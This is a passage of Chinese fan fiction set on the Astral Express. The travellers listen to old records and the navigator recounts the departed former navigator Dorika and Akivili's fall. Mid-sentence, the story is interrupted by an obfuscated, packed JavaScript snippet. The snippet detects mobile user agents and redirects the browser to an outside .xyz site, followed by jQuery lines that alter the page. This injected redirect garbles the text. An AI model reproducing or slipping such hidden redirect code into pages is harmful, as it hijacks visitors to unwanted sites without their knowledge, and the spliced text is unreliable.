“这些都是列车长的珍藏?”
谢长生一脸新奇,接过厚厚的唱片,抱在怀里,一张张看着。
每张从外观看都没有区别。
不过,这就是怀旧吗?
即使能够自在地穿行宇宙,仍然用着中世纪的唱片机听音乐。
“是,也不全是。”
「我见」轻声说,带着些许怀念。
“曾经的乘客也在唱片里留下了他们独特的痕迹。在开拓的途中,有些乘客会带回那些世界的音乐。”
像是突然想起什么有趣的事,他的眼中泛起笑意。
“请放心,这里的音乐都很美妙,是绝大多数有智生物能欣赏的类型。”
突然强调这些……
“这里听起来似乎有故事?”
谢长生被勾起好奇。
“是啊。”
「我见」轻轻稳住差点掉落的唱片。
“那时法尔肯才刚登上列车不久,他听音乐时,正好播放了被某一位乘客故意放进去的奇怪唱片……”
“有多奇怪?”谢长生眼睛亮起来了。音乐不急,他要听法尔肯的“趣事”。
“呵呵在听完唱片后,他一直‘卡卡卡’地叫唤了好多天,根本说不清楚话,被乘客们笑了好久。”「我见」笑得慈祥。
法尔肯:卡卡卡!卡卡卡?(为我发声!没有人为我发声吗?)
哈哈,法尔肯也有这种时候?他看上去就像是把形象刻进骨子里的英伦绅士诶。
“没有其他受害者吗?”
谢长生将杂乱的唱片放到台上,强迫症样的码整齐。
“嗯,非常遗憾,当时这节车厢只有他一个人。”
“总之,在那之后,我们对唱片进行了排查,剩下的全是无害的音乐。”
「我见」轻拍谢长生的肩膀,澄蓝色的眼中如海般静谧包容。
“所以,你可以放心去听。”
“好,谢谢你,领航员。”
谢长生目送「我见」坐回沙发。
哇,音乐也要用无害来形容,好有意思。他都有点想试试那些奇怪的唱片诶。
听点什么好呢?
决定了,随缘抽选,抽到什么就听什么!
唱片机“咔嚓”一声。
时间仿佛慢了下来。
动人的声音潺潺流出。
如晶石般清澈高雅的嗓音,自由吟唱着浪漫的曲调。这是一曲清唱,但世间的一切都在为她伴奏。
“哇哦。”谢长生享受地眯起了眼。原来他也能如此轻易地听出音乐中的情感。
哀而不伤的旋律中歌唱着自由与告别,像清风吹过蒲公英,像暖阳拂过朝露。
入骨的疲倦与彷徨忽的散了。
“这是我听过最好的音乐。”他低声自语。
“也是帕姆的珍藏。”法尔肯朗声接话。他快步走了过来。
很有存在感,法尔肯总会成为人群的焦点。
“?”谢长生歪头。
打扰他思考人生就为了刷存在感?说点他不知道的。
“咱们悄悄听,千万不要让帕姆听到了。这首曲子……列车长一听,就会难过得眼泪汪汪。”
法尔肯的声音小到气音,夸张地比着嘴型。
“啊?”
谢长生光速暂停音乐。
“为什么?”
古老的唱片机发出“吱呀”一声惨叫失声,又“咔嚓”一下再度献唱。
是法尔肯又将唱针拨了回去。
“哈哈,是我夸张了。”
法尔肯笑得灿烂。
“列车长其实很喜欢这首曲子,也很喜欢唱这首曲子的人。所以有时难免会触景生情,只要我们陪它一起听,它就没有时间难过了。”
谢长生:盯——
法尔肯:盯回去——
「我见」不疾不徐地解释。
“这首曲子,是上一任领航员朵莉可留下的痕迹。它送别了阿基维利的陨落,也送别了朵莉可,是一段离别的剪影。”他的声音低沉醇厚,带着岁月沉淀的温柔。
谢长生:“上一任领航员?”
「我见」:“嗯。”
“阿基维利真的陨落了啊……”
谢长生垂眸,他的声音带着不自觉的怅然。
法尔肯在谁能盯得更久”的比赛中轻松获胜。
“阿基维利陨落了,但开拓就在那里,是人类心中永远燃烧的火焰!长生,不要害怕,不要失望,不要彷徨,让我们一起开拓吧!”他仿佛在万人中演讲,情绪激昂。
法尔肯的谢幕,优雅握住了谢长生的手,在谢长生惊恐抗拒的眼神中差点吻了上去。
当然,全靠谢长生力大且缩手快。
谢长生:社交恐怖分子,退!退!退!
「我见」不紧不慢地按住法尔肯的肩,轻轻摇头。
“每个人都有自己的舒适范围,我想,你需要尊重长生的情绪。”
他安抚地看向谢长生,挥手将两个安静了的后辈引到松软的沙发上。
“阿基维利的陨落是一团扑朔迷离的雾,是透过时空棱镜的星光,每个乘客都有自己的理解。”
“他并不经常待在列车……在某一天,列车穿越星海,平静如往常,我们与「祂」的联系突然断开。祂的存在,如同接触量子潮汐的星体,毫无征兆地消失。”
“也在那一刻,朵莉可出现了不可逆的结晶化异象。在三日不绝的歌声后,她将领航员的身份交予我,自己永远留在了那片星空之下。”
「我见」的叙述平和,并没有什么情绪波动。他平静的讲着久远过去的见闻,如同讲一个并不相关的故事。
“在最后的时间里,她选择尽情歌唱吗?好自由,好浪漫……”
谢长生羡慕地感慨。
“领航员,我能听听她的故事吗?”
他看向「我见」,期盼发问。
“当然可以。”「我见」包容地看着谢长生,就像是看着一个天真孩子。
上一代领航员朵莉可,是一个个性、自由、浪漫的音乐家,一个很鲜活的人。
她拥有如晶石般清澈高雅的嗓音,丰富的情感,与卓越的想象力。
她听说了阿基维利散落在银河中的事迹,欣然登上列车,希望能穿行星海,为「开拓」谱写新的歌谣。
有不少人为了听她的诗歌而登上列车。她的音乐,连阿基维利都回到列车驻足聆听。
那时的列车真热闹呀……
“长生,我们听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953496|172074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听列车以前的热闹吧?老师,请您多讲讲吧,老师。”法尔肯提议。
他上车晚,在阿基维利陨落后才遇见列车。那时的列车,乘客已经很少,乘客间还出现了一些分歧……
他也挺好奇那群星璀璨的时候。
时间在故事会中酣睡。
列车的过往在「我见」口中如同勇者的童话,有趣又温暖。
“老师,那些事情,你都像是亲眼见过。”法尔肯笑着问。“我知道老师您活得久,也没敢想是这么久。”
“有多久?”谢长生歪头。
他不清楚银河的历史,串联不出时间线。他听的只是一个个故事而已。
“想知道我的年龄?为什么不直接问呢?”「我见」和煦地笑着。
“那老师您的年龄?”法尔肯激动地搓了搓烟斗,些微的火星燃起烟叶的焦熏。
谢长生轻轻挪远了点。
“我也不清楚……活的太久,年龄已经没有了意义。”
「我见」按下了法尔肯的烟斗。“虽然这是无害的模拟烟斗,但我想,合格的绅士会注意场合。”
“哈……哈哈。”法尔肯笑得心虚,收起烟斗。
“那长生被列车撞飞是怎么回事?我竟然都不知道,难道事故发生在我上车前?”
十几年前?长生看起来年纪都没有这么大。
“那是在几千年前。”「我见」笑着看向法尔肯,等待着他的反应。
“几千年前?”
“几千年前?”
法尔肯与谢长生异口同声。
“你在惊讶什么?”
法尔肯摘下自己的礼帽,放到谢长生头上,仔细看了看。
“我才应该惊讶吧!没想到你竟然已经度过了如此悠久的岁月?恕我直言,这并不像啊,单从外表和心理来看,你显然要比我年轻不少。”
谢长生:“不要以为我没听出来你在说我幼稚。”
法尔肯:“所以,列车上只有我一个短生种吗?怎么都动辄几千岁?”
谢长生:“我大部分的时候都在睡。”
谢长生:“我早就想问了,列车上只有我们三个人吗?……不算帕姆。”
法尔肯:“就算是这样……原来我等来的不是■■吗?”
谢长生:“我听到了,你说的是‘小弟’是吧?你拿‘护卫’骗我上车就是为了让我当你小弟?”
法尔肯:“没没没!你看,之前列车上我和老师都不能打,正需要您这样武力高强的绝世英雄呀!”
「我见」慈祥地看着他们的拌嘴打闹。
“抱歉老师,我们跑题了,请您务必说说长生被列车撞飞的前因后果吧!”法尔肯按住谢长生头上的礼帽,飞速转移话题。
“那一次确实在我意料之外,这次也是。星光告诉我,向这边行驶会有有趣的事。”「我见」歉意一笑。
“还是蓄意撞上的吗?星光害我!”谢长生震惊。
“并非蓄意。”「我见」摇了摇头 “那天阿基维利正好回列车,他一时兴起操控航向,而我,提供了一点线路建议……”
他郑重地与谢长生对视。
“并非是为了辩解什么。只是,长生,你是特殊的。”
“啊?我?”